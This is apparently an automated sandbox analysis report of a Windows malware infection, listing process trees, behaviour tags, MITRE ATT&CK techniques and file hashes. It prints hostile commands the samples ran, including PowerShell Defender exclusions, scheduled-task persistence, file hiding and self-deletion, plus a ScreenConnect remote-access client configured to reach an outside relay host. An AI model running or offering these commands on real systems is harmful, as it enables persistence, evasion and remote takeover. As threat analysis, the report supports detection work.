        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2184,10991775395451536721,4662726493953490125,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5284 /prefetch:8
        6⤵
        
        PID:2768
      - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2184,10991775395451536721,4662726493953490125,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5284 /prefetch:8
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2200
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,10991775395451536721,4662726493953490125,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2308 /prefetch:1
        6⤵
        
        PID:2376
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,10991775395451536721,4662726493953490125,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5340 /prefetch:1
        6⤵
        
        PID:2720
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,10991775395451536721,4662726493953490125,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3396 /prefetch:1
        6⤵
        
        PID:1852
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,10991775395451536721,4662726493953490125,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3488 /prefetch:1
        6⤵
        
        PID:1712
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,10991775395451536721,4662726493953490125,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4944 /prefetch:1
        6⤵
        
        PID:5352
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2184,10991775395451536721,4662726493953490125,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4904 /prefetch:2
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1588
- - C:\Users\Admin\AppData\Local\Temp\1017674001\4557e845ae.exe
    "C:\Users\Admin\AppData\Local\Temp\1017674001\4557e845ae.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:1224
- - C:\Users\Admin\AppData\Local\Temp\1017675001\962ad6740a.exe
    "C:\Users\Admin\AppData\Local\Temp\1017675001\962ad6740a.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:4744
  - - C:\Users\Admin\AppData\Local\Temp\1017675001\962ad6740a.exe
      "C:\Users\Admin\AppData\Local\Temp\1017675001\962ad6740a.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4632
- - C:\Users\Admin\AppData\Local\Temp\1017680001\ga70pjP.exe
    "C:\Users\Admin\AppData\Local\Temp\1017680001\ga70pjP.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5496
  - - C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\98a59bd0eed9222b\ScreenConnect.ClientSetup.msi"
      4⤵
      Enumerates connected drives
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:6556
- - C:\Users\Admin\AppData\Local\Temp\1017681001\1a2a86cd3b.exe
    "C:\Users\Admin\AppData\Local\Temp\1017681001\1a2a86cd3b.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:5428
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath "C:\nnvhtj"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:6804
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:5708
  - - C:\nnvhtj\8a1fde3a772340aa9299f6e59ed98921.exe
      "C:\nnvhtj\8a1fde3a772340aa9299f6e59ed98921.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      PID:6732
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\nnvhtj\8a1fde3a772340aa9299f6e59ed98921.exe" & rd /s /q "C:\ProgramData\A16890ZCT2V3" & exit
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3276
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        6⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:6340
  - - C:\nnvhtj\0d35bddbcd5b4b6faa9c9a1340f4acd3.exe
      "C:\nnvhtj\0d35bddbcd5b4b6faa9c9a1340f4acd3.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      PID:5244
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://apps.microsoft.com/store/detail/9MSZ40SLW145?ocid=&referrer=psi
        5⤵
        
        PID:5188
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffc2e2546f8,0x7ffc2e254708,0x7ffc2e254718
        6⤵
        
        PID:5276
- - C:\Users\Admin\AppData\Local\Temp\1017682001\6c8eb6e2a4.exe
    "C:\Users\Admin\AppData\Local\Temp\1017682001\6c8eb6e2a4.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:7000
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 7000 -s 1460
      4⤵
      Program crash
      PID:6692
- - C:\Users\Admin\AppData\Local\Temp\1017683001\5be7fde5d9.exe
    "C:\Users\Admin\AppData\Local\Temp\1017683001\5be7fde5d9.exe"
    3⤵
    - Enumerates VirtualBox registry keys
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:6160
- - C:\Users\Admin\AppData\Local\Temp\1017684001\8f03d7cdb3.exe
    "C:\Users\Admin\AppData\Local\Temp\1017684001\8f03d7cdb3.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5612
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"
      4⤵
      PID:7120
    - - C:\Windows\system32\mode.com
        
        mode 65,10
        5⤵
        
        PID:6212
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e file.zip -p24291711423417250691697322505 -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5708
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_7.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:6176
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_6.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:6156
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_5.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:7148
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_4.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:6432
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_3.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:7036
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_2.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:6548
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_1.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5380
    - - C:\Windows\system32\attrib.exe
        
        attrib +H "in.exe"
        5⤵
        Views/modifies file attributes
        
        PID:1152
    - - C:\Users\Admin\AppData\Local\Temp\main\in.exe
        
        "in.exe"
        5⤵
        Executes dropped EXE
        
        PID:6768
      - C:\Windows\SYSTEM32\attrib.exe
        
        attrib +H +S C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
        6⤵
        Views/modifies file attributes
        
        PID:2692
      - C:\Windows\SYSTEM32\attrib.exe
        
        attrib +H C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
        6⤵
        Views/modifies file attributes
        
        PID:6588
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6612
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell ping 127.0.0.1; del in.exe
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:6760
        
        C:\Windows\system32\PING.EXE
        
        "C:\Windows\system32\PING.EXE" 127.0.0.1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2868
- - C:\Users\Admin\AppData\Local\Temp\1017685001\a6a66bbb4b.exe
    "C:\Users\Admin\AppData\Local\Temp\1017685001\a6a66bbb4b.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:6724
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 6724 -s 536
      4⤵
      Program crash
      PID:5140
- - C:\Users\Admin\AppData\Local\Temp\1017686001\39c7d01642.exe
    "C:\Users\Admin\AppData\Local\Temp\1017686001\39c7d01642.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5336

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3752

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3580

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:5544

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:6744
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 9379E0F00C726DF3DA653A3AAC6D506B C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:5604
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIB002.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240693437 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:4768
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:6572
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding FC4D5C3041DA06728417928623BA94D9
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:5508
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 6146E9CC65BF217148D4CAA7DDCAEEAD E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:4048

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:6196

C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=gips620.top&p=8880&s=4141dd1a-885c-4717-89f5-8bb2f098894d&k=BgIAAACkAABSU0ExAAgAAAEAAQDpOwIVy34yVx7xLDnH6rBeYx7mmiLN2yQyIYdJTxYIVHOsytxx89D0YKoH68EoEXToTuDpMmwJb%2bhrlJ3faNFTpvu7W8w3%2fxYUdeWuXWg%2bTQxXr6EWby912nykdroWfBxDx6Lmxg1gxGgRJHC8Oc96zV%2fiaqo5GlyagtszKkrbPOWW4FBVQPXhlUfH4mlFE0i0vcMxGginTYl8IjGBzr94ANeAXwajoe9Cjam2haoL%2f%2bgHMtFYBZJisALFnyX3zECpRv7vqWzNAQJYIqY6qDuC2lEbs0NtuBMSfQRW1t0ZOk7cEzuQjq72QbWf1bR8rZf%2b0t3VNSgkIUcBljvpSRK7&c=VIRUS101&c=https%3a%2f%2ft.me%2fvirus101Screenconnect&c=PC%20RAT&c=PC%20RAT&c=&c=&c=&c="
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:5652
- C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe" "RunRole" "78690bee-c2fe-4eab-9621-8c1198e8952c" "User"
  2⤵
  - Executes dropped EXE
  PID:6492
- C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe" "RunRole" "48f5a5ee-b58b-45ac-98f0-3a5b449d6211" "System"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:5392

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 7000 -ip 7000
1⤵
PID:5708

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:3572

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 6724 -ip 6724
1⤵
PID:7024

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Config.Msi\e58e693.rbs

Filesize
214KB

MD5
afe0da242362026b3d1d3257a5292afc

SHA1
e12ee500802c252345b71902c0a17e5a219bd592

SHA256
5ca892aeed02e9bd22a44b0b9a485e4fbd5a64d91b206daabc7437d490d86fb2

SHA512
6eae5c2f1363303c530e53c0de12f19eefe2fd47c451995d6dfa4a6c0dc9b62bf229def849edee2058dd5c8f036a0053526a126ea662b30a407a8084b137d9ca

Download Submit
C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.dll

Filesize
66KB

MD5
5db908c12d6e768081bced0e165e36f8

SHA1
f2d3160f15cfd0989091249a61132a369e44dea4

SHA256
fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca

SHA512
8400486cadb7c07c08338d8876bc14083b6f7de8a8237f4fe866f4659139acc0b587eb89289d281106e5baf70187b3b5e86502a2e340113258f03994d959328d

Download Submit
C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe

Filesize
93KB

MD5
75b21d04c69128a7230a0998086b61aa

SHA1
244bd68a722cfe41d1f515f5e40c3742be2b3d1d

SHA256
f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e

SHA512
8d51b2cd5f21c211eb8fea4b69dc9f91dffa7bb004d9780c701de35eac616e02ca30ef3882d73412f7eab1211c5aa908338f3fa10fdf05b110f62b8ecd9d24c2

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751

Filesize
734B

MD5
e192462f281446b5d1500d474fbacc4b

SHA1
5ed0044ac937193b78f9878ad7bac5c9ff7534ff

SHA256
f1ba9f1b63c447682ebf9de956d0da2a027b1b779abef9522d347d3479139a60

SHA512
cc69a761a4e8e1d4bf6585aa8e3e5a7dfed610f540a6d43a288ebb35b16e669874ed5d2b06756ee4f30854f6465c84ee423502fc5b67ee9e7758a2dab41b31d3

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D9119114217141B4337EE22CB7800590

Filesize
345B

MD5
22afa2171f4d65e513f2be02d315eacf

SHA1
cebb9b560f1896da73ed74a266c4ca3b052f607b

SHA256
d1eedfe78e3d33bb2870c2914b8cc06fdc092f13b9f48ceb69540a9804a6f0d3

SHA512
5e03ad7fc1d7c7bc31642d6b4434b958c0d9a40f96b7577895842abb71ff3f3cf40a374a3a758465a85ca66d8812cc329d72ee22e768e2d2220bb03631ed17f5

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751

Filesize
192B

MD5
a90cc322cff0f5e77701215403261d90

SHA1
a155e69aa868d3bc30c18e88267d7d53fdff95a8

SHA256
a0150a92614274640f2836ff155ec97302e031e24558299bc97a5eabc8f9e156

SHA512
dc35243803e35878dc47088e79e4a2d62afbdcbdf187c38baa559419e4584ecd8403a2d59efb65af0052e8804b8721ad2c938916ce3b59aafb29053c4ff918ed

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D9119114217141B4337EE22CB7800590

Filesize
544B

MD5
06821cae1533ff529172d1f983d41966

SHA1
344bd1e276ce3b71c84902859cb0ad3169bda7e3

SHA256
66b9abe92c031aa2f27c189b5d58c0316f4c9f399183ed9b17253b6c31ea1bd1

SHA512
63a00afcd00e8fcc63875d51b34fee710cbe89378a94776a10ca46f0395d2debbdca3395d15e15b800272cc5e06051e786243de81446bb7f08f483e22b6a8424

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\962ad6740a.exe.log

Filesize
1KB

MD5
8ec831f3e3a3f77e4a7b9cd32b48384c

SHA1
d83f09fd87c5bd86e045873c231c14836e76a05c

SHA256
7667e538030e3f8ce2886e47a01af24cb0ea70528b1e821c5d8832c5076cb982

SHA512
26bffa2406b66368bd412bf25869a792631455645992cdcade2dbc13a2e56fb546414a6a9223b94c96c38d89187add6678d4779a88b38b0c9e36be8527b213c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
36988ca14952e1848e81a959880ea217

SHA1
a0482ef725657760502c2d1a5abe0bb37aebaadb

SHA256
d7e96088b37cec1bde202ae8ec2d2f3c3aafc368b6ebd91b3e2985846facf2e6

SHA512
d04b2f5afec92eb3d9f9cdc148a3eddd1b615e0dfb270566a7969576f50881d1f8572bccb8b9fd7993724bdfe36fc7633a33381d43e0b96c4e9bbd53fc010173

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
fab8d8d865e33fe195732aa7dcb91c30

SHA1
2637e832f38acc70af3e511f5eba80fbd7461f2c

SHA256
1b034ffe38e534e2b7a21be7c1f207ff84a1d5f3893207d0b4bb1a509b4185ea

SHA512
39a3d43ef7e28fea2cb247a5d09576a4904a43680db8c32139f22a03d80f6ede98708a2452f3f82232b868501340f79c0b3f810f597bcaf5267c3ccfb1704b43

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\54383ccb-c577-4eb4-89c5-33480dd47902.tmp

Filesize
6KB

MD5
6e958ece29ea49c671163ea69d051c1b

SHA1
19757e49e95b744a3d300b159e9e703e355ec247

SHA256
76044794f792e5350d65e2d788996f811f7b954a4f604c81dfc7c6ac612ba2f5

SHA512
b4432b3ead12d03106ace0776d062f47c97b244df16371d97333a67da0145249f2fb8447e1ad254cae0851888ba4ebdda290651f5ea5bb6b909a557f18079437

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
96B

MD5
f219fe5605ce5cc4d405ac60e64bd741

SHA1
44324ae98af376c3e6316e6af39d401692fff754

SHA256
f1614a08656c2b577a6b89dbf1f6d163f42973eec96779b970cdd1c348b1fff7

SHA512
366715d0e08a63e47fc6871800ffb1f73062b78a66cb3f86097210164edc6b4e5f41b2478078be1d653dd27f1e91c7e6490bcc26fa04e8c0b158a0ad784e33e8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
96B

MD5
4cb6d644cae25d22d9632e9e20e99c18

SHA1
f57597e7aba0e026c0522caabbda1953af442e2c

SHA256
8ac9ed9e15794398990f88ef66e39d2263a5c05697a3661e95cda17be9c6f873

SHA512
43fd4cc10275ff4f42e92a33338a66cb993d6769f8c16d2a5f232c5fb637612f9ce8cd8dd237f43337c054c3d54bb52668d9932e14a6f60e670cf621a061d260

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_apps.microsoft.com_0.indexeddb.leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
258B

MD5
2c611a5e0570b35e3a86dbfb8a943254

SHA1
831b31fcc2ede459f33bffe011b16da64b593355

SHA256
ff8900bdf7180809bc7a96e48d2b2144cebc5b7a07bf28fba808d5f14a40d993

SHA512
cf36a01f8959acb6a74db5510717c12c9b17f67620a261590164c0e7b59e1dfc0602d05de4e80cd1a543829b7e01e863c54eec6a7f49acab7a707c085848254b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
98c30fc8ced0e9bcb2d1298e9af81633

SHA1
56a83d5df30e543a2f3652b8eb8d7d58dace9f23

SHA256
e8ddefb39beb30c79aca56723f4f77d039bb00ec800b7cf477259ddcb758d7d5

SHA512
699b6b947578ed28b1ecf9542d27d29270e98eb96b4ad74217f19fa19627a3e87e14838177fa880dd606911379f6efb1a25935e308c97a47fa75cf83e6c02860

Download Submit
